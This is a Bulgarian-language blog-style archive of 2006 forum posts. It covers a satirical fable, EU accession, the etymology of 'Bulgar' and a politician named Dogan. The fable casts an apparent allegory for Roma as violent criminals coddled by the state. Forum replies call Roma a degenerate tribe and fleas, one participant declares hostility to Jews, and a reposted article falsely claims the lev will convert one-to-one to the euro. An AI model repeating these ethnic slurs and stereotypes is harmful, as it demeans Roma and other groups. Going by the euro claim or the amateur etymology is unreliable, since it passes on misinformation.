Един от паяците случайно е осъден и пратен в затвора. Социалният президент веднага поправя грешката и го помилва. Всички паяци гласуват за спасителя си и той печели пореден мандат. Българският Йоенсуски Комитет осъжда държавта във Вартбург, защото покрай грижите за щуреца са забравени хлебарките. Всяка хлебарка има по 10-15 хлебарчета, които или проституират или просят. Традиционният им стремеж към образование е подтъпкан! Държавата веднага поправя грешката и строи хлебарници за хлебарките. Обявено е десетилетие на хлебарското включване. Хлебарките решават, че дискриминационното и обидно обръщение "хлебарка" трябва да се замени с нещо по-възвишено. Предложението "еврохлебарка" е отхвърлено. Избрана е нова дума "джин". "Но джин е алкохолна напитка"- опитва се да протестира пияна мравка- расистка. Обявена е за лумпен. Вече всеки трябва да нарича хлебарките "джинове". На няколко телевизии им е спрян лиценза, заради излъчване на реклами на РАЙД. Джиновете, окрилени от поощрението на държавата, се развилняват. Грабят, изнасилват, пребиват. Безнаказано. Отново случайно е осъден джин, обрал, изнасилил и убил мравка-пенсионер. Българският Йоенсуски Комитет осъжда държавта във Вартбург, за нарушаване на три от основните права на джина. Джинът е амнистиран. Гласуван е закон за защита на джинове от дискриминация, според който всеки е длъжен да допуска в дома си джинове и да изпълнява всяко тяхно желание и право. Всеки джин има само права и свободи. Задълженията и данъците остават за мравките. Българският Йоенсуски Комитет осъжда държавта във Вартбург. Вече и той не знае за какво. Просто ей така, за отчитане на дейност пред чичо Боршош.
Край.
- Офито каза, че това е много актуална приказка. Голям смях паднал докато четяла. И "Я вижте поредната дивотия:
"Това е писмено детско съчинение, което се съхранява в Педагогическия музей в Париж. Темата му е да се опише птица или бозайник.
“Птицата, за която ще пиша, е бухълът. Бухълът не се вижда денем, а нощем е по-сляп и от къртица. Не знам нищо особено за бухъла, затова ще продължа с друго животно, което си избирам - кравата.
Кравата е бозайник. Има шест страни: лява, дясна, горна и долна. В задната страна има опашка, от която виси четка. С тази четка се гонят мухите, за да не падат в млякото. Главата служи да излизат рога от нея и, освен това, защото устата трябва да стои някъде. Рогата са за да се бие с тях. От долната страна е млякото. Оборудвана е така, че да може да се дои. Когато я доят, идва млякото и вече не спира. Как го прави това? Никога не съм го разбирал, но то тече с още по-голямо изобилие.
Мъжът на кравата е бикът. Бикът не е бозайник. Кравата не яде много, но онова, което изяжда, го яде на два пъти и така има достатъчно. Когато е гладна, мучи, а когато не казва нищо, значи, че вътре е пълна с трева. Краката й стигат до земята. Кравите имат много развито обоняние, поради което можеш да ги подушиш от много далече. И заради това въздухът в полето е толкова чист"
"
;D
little_tiger реагира "лелеееее това с кравата ме разби...
а в онова за мравката и щуреца има нещо тъжно и доста познато..."
А warrior рече: "Разбихтеме."
;D ;D
-
Аз бях/бих коментирал, че "Да, хубави са. Колкото до кравата - това дете е на нивото на мислене, което много лесно позволява склонност към религиозност." Офидия прояви интерес със "Защо така мислиш за склонността към религионост? Стана ми интересно просто. Я разкажи?", а войнът го прие лично май (може би, защото беше религиозен. Съдя по това, че в някакъв форум беше против абортите, по онова време.) и ми бе писал "Далай ще се обиждаме ли?"... Аз съм за научния атеизъм (не просто за атеизма, а за този положен на научни основи) и не помня дали нещо им бях отговорил. Ако си спомня, ще приложа насам задължително. 8) Сега, наистина не си спомням в момента. Склерозираме бавно. ;D
-
Намерих и няколко разсъждения (мои и на други хора, с които съм комуникирал в далечната 2006 година) относно темите "ЕС" и, конкретно, "България в ЕС". (Тези дни четох, че някои предричат край на ЕС в бъдните между 2 и 5 години. Евроскептицизъм или обективно предположение? Времето ще покаже. Аз в момента също не виждам много големи надежди за бъдещето на този съюз, но и не съм напълно убеден, че по-натам напълно ще се разпадне.) През 2006 си мислехме (много от нас), че влизането на България в ЕС означава и веднагическо (или скорошно) преминаване от левове към евро. Та в този дух бях започнал и една тема, която ще представя и тук, за да не се губи съдържание по никакъв начин.
България в ЕС...нек'ъф ужас, нек'ъф ад! (Пуснато на: Вто Окт 31, 2006 7:15 am)
"Нек'ъф ужас, нек'ъф ад! Така се казваше един албум на група "Хиподил". Така може да се определи положението с цените в България с влизането в ЕС. Предлагам ви една кратка статия, която навява лозунга от казармата (ЗАБРАНЕТО ДО 14 ГОДИНИ ;D ):
"Попълнение - ташак!...Уволнение - ташак! А между тези два ташака, какъв К@Р те чакаааа...!"
______
ГОТВЯТ НОВ ОБИР НА НАРОДА – 1 ЕВРО ЩЕ СТРУВА 1 ЛЕВ
По курс както с марката преди ще се обменя левът след като влезнем в Еврозоната. Няма гаранции за по-високи доходи.
Тодор Иванов
Едно евро ще струва точно един, а не два лева, след като влезнем в Еврозоната. За това са се разбрали нашите и европейските политици в течение на преговорите ни за членство, които приключиха преди две седмици. Това разкрива икономистът д.и.н. Христо Хаджииванов.
Това на практика ще се превърне в третото голямо ограбване на българския народ, твърди Хаджииванов. Първото беше така наречената масова приватизация, която роди няколко милионера и масова бедност, второто – по времето на Виденовата зима, когато се провокира хиперинфлация и хората загубиха спестяванията си.
Сега механизмът ще бъде по-различен – при преминаването ни към общата европейска валута левът ще бъде силно надценен. Резултатът ще е изравняването на цените ни с европейските, нещо, за което всъщност от съюза отдавна настоявали. Ако един хляб сега струва 60 стотинки, то през 2009 година ще бъде вече 60 евроцента, прогнозира икономистът. От друга страна обаче няма никаква гаранция, че доходите на хората ще нараснат достатъчно, че да покрият това почти двойно увеличение. Така веднъж завинаги ще постигнем европейски стандарт, но само по отношение на цените, а иначе крайният резултат ще бъде, че хората ще обеднеят още повече.
Подобни процеси вече се случиха и в други европейски страни след като приеха общата валута, припомня Хаджииванов. Най-тежко преходът влияе на страните с по-слаба икономика, каквито в Европейския съюз се считат Гърция и Италия. Там се забелязваше едновременно повишаване на цените, тъй като търговците завишаваха разликите между дотогавашната национална валута и еврото, а от друга се отчете сериозен спад на доходите. В резултат наблюдателите отчитат, че въпреки статистиките, средният грък днес живее с по-малко от 250 евро на месец, при цени два пъти по-високи от българските.
След като тези сравнително стабилни икономики понесоха толкова тежко преминаването към еврото, какво да очакваме за нашата, пита риторично Хаджииванов. Още повече, ако очакванията за левче – евро се окажат верни.
_________________
"Човекът е обществено животно."
Аристотел "
На това Тигърчето ("little_tiger" "Пристрастен") рече: "Уф,да така ще стане 100%.Това още миналата година ни го разправяха по икономика в училище.Първите 2-3 години ще бъде абсолютен ад!"
Аз отговорих: "Съмнява ме, че после нещо ще се оправи. Ето какво казва един умен човек още по въпроса:
"Приемането на България в Европейския съюз в момент, когато тя е слаба политически и икономически, и е затънала в корупция и престъпност с ориентация към САЩ във външната политика, е най-лошото съчетание, както за нас, така и за ЕС."
и още:
"В тази ситуация присъединяването на Източна Европа към западноевропейския интеграционен модел е изкуствено, неефективно и вредно за тях.
Геополитиката и кратополитиката предлагат своя обективна карта на Европа. От нейна гледна точка актуалната ориентация на България е грешна, а в историческа перспектива, ако не бъде коригирана, може да бъде и катастрофална.""
Войнът ("The Warrior" "Воин на Отечеството") се включи с мнението (цитирам): "Като към нас прибавиме и Румъния,ЕС ще останат ужасени от последиците.За нас шще е ужас,за тях двоен.Поне манготата по-лесно ще ходят в други страни(естествено да работят като джапчийки или проститутки) и ще са по-малко тука." (Тук държа да отбележа, че лично съм против наричането на който и да е народ с такива прякори като "мангота".)
Ариес ("Aries" "Природозащитничката" и подпис "Любовта е погребението на сърцата
И ода за жестокостта
Когато ангелите плачат кръв по цветовете на злото които цъфтят
Погребението на сърцата
И молба за помилване
Когато любовта е оръжие
Което те отделя от мен ") писа, че "Ад,ама за тях...Като им нахълтат нашите ци**ни там да ги видя как ще се оправят!"
Аз: "Ама защо "ци**ни"? Кажи си го ЦИГАНИ, те са си ЦИГАНИ. Това, че се самоназовават РОМА, не прави задължително да им викаме и ние така. Все едно китайците като се наричат ЧУНГУОЖЪН, да им викаме "чунгуожъни", а не "китайци"."
Тя: "е да де,ама някои се засягат като им го кажеш"
Аз: "Те някои са си засегнати и без да им казваш нищо. Ей-така, както си върви някой и го почват на тупаници или го обират или си го колват. Това е изродско племенце в много голяма своя част и каквото и да им казваш - все тая. Просто стой по-надалече и това е." (Тук пояснявам, че ключовото е "в много голяма своя част", което значи НЕ "всички цигани в България и по света", и НЕ "по-голямата част". В такъв смисъл съм го употребил. Че голяма част (примерно тази голяма част може да е 10% или 15% и пр., а не над 50%!) са изродски. Това се дължи не на нещо биологично (с изключение на браковете между много близки роднини, които ги има на много места и сред различни народности по Земята), т.е. не става дума тук за расизъм, нито за шовинизъм, а за социална констатация - знайно е, че когато тези хора (а и всички други) се включат в образование, възпитание и пр., то те са си напълно равностойни на останалите. Причините за изродяването (деградирането) са чисто социални + политически + икономически + културни, но не и расистки/биологични/природни. Заявявам го като човек, който е против расизъм, дискриминации и човеконенавистничество!)
Тя се съгласи с емотиконка в смисъл "Yes!" (на английски "Да!")..
Войнът писа (цитирам с цензуриране на вулгарната дума): "Абе то ние ще им Еб@ме мамата на европата,че ще искат да не са ни виждали никога. Twisted Evil Twisted Evil Twisted Evil То вече ги шашкаме малко по-малко.Аз нали ходих та ги пооправяме лека полека."
Аз: "Май не ми се вярва да стане така. Я кажи по-точно какво имаш предвид - като как България ще разстрои Европата (обратното е ясно как и нямаме спор, мисля.)" (И до днес съм нещо като умерен евроскептик, ако трябва да използвам такива понятия.)
Ариес се включи с отговор на моя въпрос към Война с: "Как ще ги разтроим ли?Ромското ни общество малко по малко като се изсели нанатък ще видиш."
Офидия ("ophidia" "Шефката" с подпис ""Some people look at things the way they are and say, 'Why?' I see things the way they never were and I say, 'Why not?'"
Robert Kennedy ") се включи с: "Роми има в цяла европа. Само дето нашите са по-друг вид, и само ние се оплакваме от тях, май Confused"
Ариес отвърна представяйки своята гледна точка за българските цигани (които между другото са доста различни групи като култура, езици и пр., та може да се говори за различни народности донякъде. Не са само "едни цигани".): "Има,ама наште роми са толкова нахални....като бълхи...Освен това как да не се оплакваш - ако един циганин ти влезе в къщата да краде и ти го раниш при самозащита осъждат теб.Я ми кажи ти няма ли да се оплакваш??? Confused" (Мисля че е излишно да казвам, че съм против такива обобщения. Преди време пътувах във влак с много добри цигани - баба, дядо и внуче. Говориха хората културно, детето също се държеше много добре. Предлагаха ми да хапна от техния хляб и сирене. Водихме съдържателен разговор. Казаха си, че са "цигани". По въпроса за това, че имат много хора от други етноси негативно отношение към циганите, бабата рече много правилно, че когато една мишка направи нещо лошо, хората не казват "мишката", а "мишките".
С това не се изчерпват всички добри случки, които съм имал с цигани. Два пъти по погрешка съм се озовавал в цигански махали. И двата пъти хората-цигани, които срещнах там бяха културни и ме упътваха възпитано и говорейки на правилен български език.
За да не ме изкара някой "прекален ромофил/циганофил", ще спомена, че съм имал и неприятни преки или непреки случки с цигани. Двама циганина в София откраднаха от семейството ми 99 американски долара. Някакви други, в провинцията, пък бяха пребили първо приятел и дядо му, а после и пастрока му.
Така че, от всичко съм видял; опитвам се да бъда обективен.)
За да сте наясно повече по въпроса - вижте, ако досега не сте го преглеждали това за циганите в България (http://www.seo-forum-seo-luntan.com/other-languages/a-ate-(omte)/msg12262/#msg12262).
-
Самата етимология отдавна и тук вече е представена (Етимологията на самоназванието "Българ" (http://www.seo-forum-seo-luntan.com/other-languages/aate/msg5241/#msg5241)), но ето темата, в която май я представих онлайн за първи път (иначе офлайн си я имах напечатана на машина от доста години, в първоначалния й, малко по-сбит вид, но със същото заключение - тюрко-алтайски произход + "главен (на-)род"):
"Пуснато на: Съб Ное 25, 2006 12:56 pm Заглавие: "ЕТИМОЛОГИЯ НА БЪЛГАРСКОТО САМОНАЗВАНИЕ"
"ЕТИМОЛОГИЯ НА БЪЛГАРСКОТО САМОНАЗВАНИЕ"
(Или как бате Далайчо направи откритието, върху, което мислеше отпреди над 13 години)
* * *
Досега са правени много опити за разгадаване на значението на думата "БЪЛГАРИН" (БЪЛГАР, БУЛГАР, БАЛКАР и пр. варианти), но те не са се увенчавали с успех. Главните причини са, че или е тълкувана през не-алтайски езици и/или е разчленявана неправилно на "БЪЛГ" и "АР", а не на "БЪЛ" и "ГАР".
Изхождайки от презумпцията, че прабългарите са говорили на език, сходен с днешния чувашки (Р-Л език), успях да изведа следното значение, което смятам за напълно естествено и реално.
Първата сричка е "БЪЛ". Имаме варианти "БУЛ", "БАЛ", "БОЛ" Изхождайки от това, че първоначалното звучене е било "БАЛГАР", а след това е потъмняло в "БЪЛГАР", извеждам БАЛ (с по-късната му форма БЪЛ-) от ОБЩОТЮРКСКОТО "БАШ" = "ГЛАВА, ГЛАВЕН, ГЛАВАТАР, ВОДАЧ, ВОДЕЩ". Това потъмняване се отбелязва зза татарския, башкирския и, което ни интересува най-много - древно-чувашкия.
Ето какво пише по темата Н.З. Гаджиева:
"В татарском, башкирском и древнечувашском языках произошел переход /a/ в первых слогах многих слов в лабиализованное, отодвинутое назад /å/, ср. *кара 'черный', др.-тюрк., казах. кара, но тат. кåра; *åт 'лошадь', др.-тюрк., тур., азерб., казах. ат, но тат., башк. åт и т.д. Произошел также переход /a/ в лабиализованное /o/, типичный для узбекского языка, ср. *баш 'голова', узб. бош."
ИЗВОР:
http://www.philology.ru/linguistics4/gadzhiyeva-90.htm
В З-Ш тюркските езици освен "БАШ" имаме и варианти с: "БАС", "ПАШ" или узбекското "БОШ" (това също се обяснява малко по-горе и дава прекрасен пример за преходите на "А" в "Ъ" (българ) или "О" (болгар) и пр.)
Какво още имам за доказателство освен днешните родствени форми :
-Баш
-Бас
-Бош
-Паш
-Пуш
?
Естествено това е ПРАТЮРКСКАТА ФОРМА НА ДУМАТА - "БАЛ" / "БАЛЧ". В реконструираният древнотюркски език доста от думите са си във варианта Р-Л, което показва, че наистина БУЛГАРСКАТА ГРУПА (хазарски, прабългарски и чувашки) се е отделила според данните на историята и глосохронологията от останалото тюркско население и по този начин е запазила тази си характеристика, докато другите езици са се развили (променили) до З-Ш:
ИМАМЕ ПОДОБНЕ ПРИМЕР С
1. "ШАРАН", което стои доста по-близко до пратюркската форма "САРЮГАН", отколкото общотюркското днешно "САЗАН".
2. "ЧОЛ" (чувашки - "КАМЪК"), което се противопоставя на останалите общотюркски - ТАШ, ТЪШ, ДАШ, ТАС, ТОШ, но се доближава до ПРАТЮРКСКОТО "ДИЪЛ" и праалтайското "ТЬОЛИ".
3. "ХЪР" (момиче) - "КЪЗ"
Освен доказателството, че като Р-Л език прабългарският е запазил за "Главен, глава, водещ и пр." Л-формата "БАЛ" ("БЪЛ") , която си съответства на пратюркското "БАЛ-/ БАЛЧ-", ще приведем и още по-широки - АЛТАЙСКИ РОДСТВЕНИ СЪОТВЕТСТВИЯ:
1. Корейското "МЪРИ" ("МОРИ", "БОРИ", "БЪРИ"). Знае се, че в корейския "Р" и "Л", често са преходими (графично се изобразяват с една и съща буква дори), както е и известно, че често "М" прехожда в "Б". Например при названието на БАЛКАРЦИТЕ - "МАЛКАР/МАЪЛКАР". Ето защо имаме реално съответствие между прабългарското ГЛАВНО/ГЛАВА - БЪЛ/БАЛ/БОЛ/БУЛ с корейското МОРИ/МЪРИ/БОРИ/БЪРИ.
2. Предполагаема древно-японска форма за ГЛАВА - "МУСИ" , "ПУСИ".
2. Праалтайската форма - "МЪЛ-ЧУ", от която следва пратюркската БАЛ-/БАЛЧ- и по-сетнешните БАШ, БОШ, БАС, ПАШ и, както виждам прабългарската БАЛ-/БЪЛ- /БУЛ-/БОЛ-/МАЛ-
______
ВТОРАТА СРИЧКА - "ГАР" се явява в разновидност "КАР" (при "БАЛКАР", "МАЛКАР"), а според някои и като ГУР в "Оногур", "Утигур", "Кутригур".
Това "ГАР" означава според някои "КЛАН", "РОД", "НАРОД", "ХОРА", "МАСА" и пр.
Нека да намеря сходните, родствени форми из тюркските и алтайските езици:
1. Имаме аналог с ДЖУН-ГАР. "ГАР" буквално на монголски значи "РЪКА", но под това се е разбирало военно-административно - НАРОД, ВОЙСКА
На тюркски имаме формите:
-КАР
-КАРА
-ГАРИ
-ХЪР
2. Имаме си и близки думи със значение на ПЛЕМЕ, РОД:
а/ Съответствието по закона Р-Л : З-Ш
на общотюркското ОГУЗ, ГУЗ, ГЪЗ, КЪЗ - обозначаващо даден народ - например КЪР-ГЪЗ (киргиз), т.е. ГАР=ГАЗ;ГЪЗ,ГУЗ.
б/ На старояпонски имаме думата У-КАРА с вариант УГАРА, което значи КЛАН, СЕМЕЙСТВО и се сближава по смисъл и звучене с прабългарското "ГАР". На съвренен японски имаме сходната дума "КУРАН".
в/ На пракорейски РОД, КЛАН е "УР", а РОДНИНИ е "КЙЪРЪЙ", на среднокорейски - "КЙЪРЕ"
3. Имаме и близки думи със значение СЕМЕЙСТВО, СБОР, СЪБРАНИЕ (на хора):
а/ Праалтайска форма "КАЛА"
б/ Тунгусо-манджурска - "КАЛ-"
в/ Японска - "КАРА"
г/ Тюркското (Башкирско) "КОР", което значи политическо събрание на хора.
4. Имаме подобие и с ЧОВЕК, НАРОД:
ЕРЕН - пратюркски
ХАРАН - прамонголски
5. Някои лингвисти извеждат името КОРЕЯ ( идващо от едно от древните кралства - КОГУРЬО) от алтайски езици, при които КОР, ХОР, значи ХОРА.
От всичко това се стига до заключението, че "ГАР" значи нещо от типа на КЛАН, РОД, НАРОД, ОБЕДИНЕНИЕ ОТ ХОРА, в най-общ смисъл, което е обозначавало нацията в онези времена, изговаряна с този соционим.
Според различни историци прабългарите са заемали водещи позиции в различни държавни обединения или са правели опити да заемат такива. Ето защо можем да сме сигурни, че:
"БЪЛ-ГАР", означава "ГЛАВЕН НАРОД".
* * *
25.11.2006 (17 ч. 54 м.)
Току-що го и лицензирах - всички права запазени!
<!--Creative Commons License--><a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/2.5/bg/"><img alt="Creative Commons License" style="border-width: 0" src="http://creativecommons.org/images/public/somerights20.png"/></a><br/>Произведението произведение ползва условията на <a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/2.5/bg/">Криейтив Комънс лиценз</a>.<!--/Creative Commons License--><!-- <rdf:RDF xmlns="http://web.resource.org/cc/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<Work rdf:about="">
<license rdf:resource="http://creativecommons.org/licenses/by-nc-nd/2.5/bg/" />
<dc:title>"ЕТИМОЛОГИЯ НА БЪЛГАРСКОТО САМОНАЗВАНИЕ "</dc:title>
<dc:date>2006</dc:date>
<dc:description> Значението на "БЪЛГАР" = "ГЛАВЕН (НА-)РОД"</dc:description>
<dc:creator><Agent><dc:title>Георги Иванов Русев (Гесер Курултаев)</dc:title></Agent></dc:creator>
<dc:rights><Agent><dc:title>Георги Иванов Русев (Гесер Курултаев)</dc:title></Agent></dc:rights>
<dc:type rdf:resource="http://purl.org/dc/dcmitype/Text" />
</Work>
<License rdf:about="http://creativecommons.org/licenses/by-nc-nd/2.5/bg/"><permits rdf:resource="http://web.resource.org/cc/Reproduction"/><permits rdf:resource="http://web.resource.org/cc/Distribution"/><requires rdf:resource="http://web.resource.org/cc/Notice"/><requires rdf:resource="http://web.resource.org/cc/Attribution"/><prohibits rdf:resource="http://web.resource.org/cc/CommercialUse"/></License></rdf:RDF> -->
_________________
"
Офидия: "Браво!!! Наистина звучи правдоподобно и много вярно, имайки предвид какви позиции са заемали прабългарите Smile
Поздравления за откритието Very Happy"
Тигърче: "Уби ме направо Shocked за такова нещо се изискват страшни познания!браво! Very Happy"
"Да, според някои са били главно ядро в империята ХУННУ, на север от Китай, а после са били и главния народ на европейските хуни - нали Атила и сина му ги има ужким в "Именника на българските ханове". Отделно правят опит за преврат в Аварския хаганат, ама не успяват. В Дунавска БГ веднага се налагат над славяните и северите (които май не са славяни), а във Волжка БГ са подчинили веднага околните фино-угорски племена.
Така че, логично е да са имали самочувствие поне от времето на Атила (Авитохол).
+
Така си е и е важно да се отсяват нормалните знания от ненормалните "знания". Защото, примерно, един пише, че БЪЛГАРИН си идва от "БЯЛ човек", понеже ето на БЪЛ си било чисто и просто "БЯЛ"...Ама това, че едното е Алтайско, а другото славянско - няма значение, дай да пишем глупости, пък неуките да вярват...Разни пък татари, макар и от алтайски го извеждат от "БЕЛЮ", което на татарски значи "ЗНАМ" и излиза, че БЪЛГАРИ били ЗНАЕЩИ...Абе всякакви неправилни тълкувания има..."
tgpetrov: "E хей, това много ми хареса.....независимо и неангажиращо мнение. ПОДКРЕПЯМ ГО.
Ако дам някои думи, които нямат аналог в сегашния език, можеш ли да откриеш корена им...?
зумрен - червено
кула - жълто
сиак - черно.....Естествено ако има интерес в темата.
_________________
Порталът за Българските породи гълъби"
"Благодаря!
За съжаление не знам от какъв прозход са наименованията на цветовете с тези думи."
Fighter_Girl: "ЗДРАВЕЙ, СКЪПО МОМЧЕ!!!
Въпреки, въпреки всичко случило се между нас, за мен ти ще си останеш именно това - най-скъпото момче в живота ми! Искам тук да ти кажа колко много съжалявам за загубата на дядо ти! И да те поздравя със страхотния ти успех с това ОТКРИТИЕ. Лингвистиката не ми е много силна страна, но ми звучи убедително и рационално! ЧЕСТИТО и за страницата ти в УИКИПЕДИЯ! Всичко написано там за теб е само една малка част от това, което си ти всъщност и, което ще си останеш за мен през целия ми живот. Ако щеш ме наречи една малка глупачка, още ненавършила пълнолетие, но ти си човекът-мечта, който колкото и да ме наранява винаги ще си остане за мене вълшебен с неувяхващия си чист извор на енергия, неповторимия хумор, великанските знания и добрият морал!!! ЛИЧНО МНЕНИЕ, НЕ АНГАЖИРАМ НИКОЙ С НЕГО!
ОЩЕ ВЕДНЪЖ ДА ТЕ ПОЗДРАВЯ И ДА ЗНАЕШ, ЧЕ СЪМ С ТЕБЕ!
_________________
Невинен до доказване на противното! " (Майтап да става! ;D)
"Леле-майко! :P"
-
Тук ще представя една отдавнашна история: Тема с анкета от 2006-та за трябвало ли България да изпраща контингент в Ливан.
Беше с малко участие: Трябва ли България да изпрати контингент в Ливан?
Да.
20%
20% [ 1 ]
Не.
80%
80% [ 4 ]
Общо гласове : 5
Бях взел и аз такова. Та ще дам и тук (с малко доразяснения):
Ачо (Acho): "Как мислите Arrow"
Аз: "НЕ, най-малкото щото после се почва - "Убиха български войничетааааааа!"
"Ама да не са ходили, бе! Що са отишли?"
"Как може да сте толкова коравосърдечниииии и циничнииииии!"
"Нали са отишли свободно и за пари, какво толкова?"
"%&^%*&*("
И пр."
Войнът: "Аз искам да пратят защото съм против евреите и американците."
И аз му отговорих тогава така: "И аз съм така, особено против американците, но става дума, че контингентите по принцип обслужват тях и ето защо съм против И ПО тази причина. Не, че някой ни пита, де." (Пояснявам и доразяснявам, че говоря не за американския и/или израелския народ, а за политиката на държавите САЩ и Израел като цяло. Т.е. изказването ми е било с политическа и геополитическа насоченост, а не с шовинистична или расистка!
В днешно време (към днешна дата), като много хора по света, и аз имам малко или повече оптимизъм за подобряване на отношението (на хората по света) към и отношенията (на други държави) със САЩ, след като Доналд Тръмп спечели там!)
-
Много ми харесваше как пише bonchina, но вече ги няма много нейни неща онлайн, затова което е запазено искам да ви го пейстна насам, за да остане в историята. Започвам ги. Не са малко.
"Да живее България! Да живее Доган!
Здравей, почитаеми Читателю.
В първата ни среща те запознах накратко с един съвременен гений в графичното изкуство – проф. Галилей Симеонов. Не се ли впечатли от житейската му философия, залегнала и в отправеното в личния ми тефтер негово послание: “Да се изнижем забележимо!” Тази идея се е превърнала във “фикс-“ в последните две десетилетия, гарантирали си спорно място в българската история като “новото време” на “демократичен подем”. Творци, политици, общественици, държавници, журналисти – всички те подреждат живота си, прокарвайки пътека през публични пространства, през медии, през чужди животи. Сам по себе си този ентусиазъм е похвален. Но каква следа, какъв знак ще оставят върху тази пътека? По-често атакувана и преброждана с пошлост, с предателство, с лъжи и кражби, с лицемерие, по-рядко с човечност, с достойнство, с родолюбие и себеотдаване.
Какви ли не амбиции, зародили се и притайвали се в близкото ни минало, но не получили възможност за реализация, се развихриха в обърканите години на жадувания “преход”? Амбиции за влияние, за богатство, за власт. Имена на политици и “държавници” се вкопаха завинаги в земята ни, в градовете ни, в селата ни, в нивите ни, с една дума – в живота ни. Не без почуда констатирах от преживяванията си през последните седмици, че една странна, магическа нишка следва неподозирано от нас случки, събития, нашите и чужди съдби, провира се през времето, през спомените ни и ни оставя чувство за недовършеност, за сладникав възторг или гневен вой.
“Да се изнижем забележимо!” Ех, Човеко! Какво по-забележимо изнизване от явлението Догановщина в бедната ни държава? Позна! Става дума за Доган – най-умният, най-интелигентният, най-богатият, най-дипломатичният, най-силният, най-влиятелният, най-независимият, най-почитаният, най-страшният, най-недосегаемият…и най-необходимият. Ненаказуемият – Политикът, създаден от самите нас – от нашето невежество, от нашата вяра, от глупавите ни надежди, от суеверията ни, от мечтите ни за нещо по-човечно и красиво; политикът, “балансиращ” правителства, собственик на държава, специалист по всичко, свръхнадарен професионалист, най-скъпият и свръхкомпетентен “консултант” в частната си държава. Където и да отидеш в нея, навсякъде ще те следва името “Доган” – символ на България.
…Преди четири години заведох бедната ми майка – интелигентна, почтена и трудолюбива селянка от северозапада за първи път да види нашето Черно море. А беше на 75 години. Но почтеният и честен труд не й осигуряваха възможност да види морето. Та то е толкова далече! Толкова е скъпо да стигнеш дотам! Заведох я на река Ропотамо. От младостта си бях съхранила романтичен спомен за прекрасна река – с невероятна екзотична фауна и флора, с оазис от буйна растителност, зеленина и цветя, с китни малки рибарски колибки, накацали зад стъкмени с мерак цветни лехички. Сега нямаше и намек за някогашното великолепие – само сивота и мъртвило. Нямаше ги пъстрите кресливи пернати, цветния килим, буйните храсти. Беше стар дори капитанът. Тъжен и мълчалив. Само параходчето, разхождащо малкото туристи, беше почти същото. Озадачена, изненадана от отчайващата гледка, стъкмих набързо моето импровизирано интервю с нашия гид:
– Капитане, какво се е случило тук?”
Отговорът беше не само лаконичен, но и стряскащ:
“Сигурно е умишлено…Доган искал да купи реката…”!
Тук ли си, Читателю мой? Имаш ли очи да видиш това, имаш ли уши да чуеш капитана, без да настръхнеш, имаш ли душа, за да страдаш? За река Ропотамо, за птиците, за липсващите водни лилии, за романтичната си младост, оставила следа по тези места?
…Изнизва се човекът. Забележимо!
“Почти всичко в Бургас вече е негово!” – финализира най-краткото ми интервю старият капитан.
Преди да тръгна към Велинград за отдих в санаториум, отново срещнах проф. Галилей Симеонов, но в родното му село, което той настойчиво назоваваше “Сръбляница” /Гаврил Геново/. Преди години “доброжелатели” запалили и двете му къщурки на село. Оттогава чудакът се отдал единствено на таланта си – загърбил всичко материално, враг на човешките същества и поел необятния път към духа. Няма си уютен, топъл, подреден дом, какъвто се очаква да притежава “класикът на българското графично изкуство”, няма си своето “местенце” – огромно ателие, оказва се и без него родили се внушителни епични платна на велики събития и личности от историята ни. Та професорът мечтаеше и жадуваше близката до импровизирания му нов дом сграда да превърне в дом на изкуството, където да излага свои и чужди творби и да има възможност за творчество както самият той, така и неговите приятели по гилдия.
-Но защо не предприемеш нещо веднага? – попитах графика.
“Е, не става толкова лесно!…Казват, че Доган е собственикът!”…
Доган…Разбира се, той е и във Велинград.
Когато преди дни посетих отново този град след близо 40 години, имах усещането, че съм попаднала в някоя далечна турска провинция, заселена и със значителен брой български емигранти. Където и да отидеш в този трад, в хотел, в ресторант, на строителна площадка, из парка – навсякъде ще слушаш турска реч. Толкова силно ще ти се набива в ушите и съзнанието, че в един момент започваш да изпитваш необяснимо смущение и притеснение да проговориш на родния си език в собствената си родина, за да не предизвикаш любопитството на околните, владеещи и ползващи някакъв чужд език в тази твоя собствена българска земя. Чувстваш се чужд, чужденец, гост, случайност.
Разходих се из “Клептуза” – някогашен красив символ на туристическия град. От великолепието на езерото и парка нямаше и следа, всичко беше леш – ресторантчета, кафенета, барчета около езерото бяха порутени, занемарени и изоставени. Две самотни водни колелета събираха около себе си останки от листа и мръсотия по езерото. Туристи отсъстваха. А и какво ли щяха да видят и да правят тук днес?
На фона на това забравено и изоставено “минало” изведнъж се заклещващ между огромните мастодонти –хотели, накацали по височините на градчето, с часовници, кули, с внушителни входни арки и зелени площи. Гледаш, обикаляш около тях, немееш, тъгуваш, че никога няма да влезеш в тях и се питаш: Толкова ли богата беше моята предишна България, та с откраднатите пари, изнесени в чужбина и върнати в подходящия момент, успяха да построят самотните четири и пет-звездни хотели в това малко градче /и къде ли не още из България?/, струващи милиони пъти повече от два-три дома за изоставените деца на България?
– Чий е онзи хотел с големия часовник? – питам възрастен преселник от Гоце Делчев
“Май е на Доган…” – смутено отговаря на моя роден език.
Пренаситена с Догановщина, имах невероятна нужда да прочистя съвестта си, да проясня спомените си, да избистря паметта си. И отскочих до Батак – “Батак легендарен, Батак наш безсмъртен” – както го възпя поетът.
На колене! Шапки долу, Българино! Батак е свещен! “Славният и злочести Батак” – нашата съвест и чест!…Вървиш из града, а в ушите ти бучи неясен шум, в очите ти прозират сякаш сенки от оживели обезглавени, изписани по паметници и паметни плочи. Влязох в музея на Батак. Ще замръзнеш пред стената на смъртта – хиляди имена на бебета, деца, мъже, жени, млади и стари – удушени, обезглавени, изгорени, измъчвани. Злочести мъченици, “изнизали се забележимо” за епохи напред!…Обръщаш се кръгом, а срещу теб стои петметров страшник-герой – въстаник от славен “април”! Оживял в духа и гениалната ръка на Професора от Сръбляница!
Напускаш съкрушен музея и се отправяш точно насреща – в дваж по-свещената баташка църква – най-тъжната гробница на България, най-яркият знак от петвековното турско “изнизване”. Стоиш и трепериш до черепите, до дръвниците за сеч, до кладенеца на майките – трепериш и проклиняш! Нека никога не се повтори!
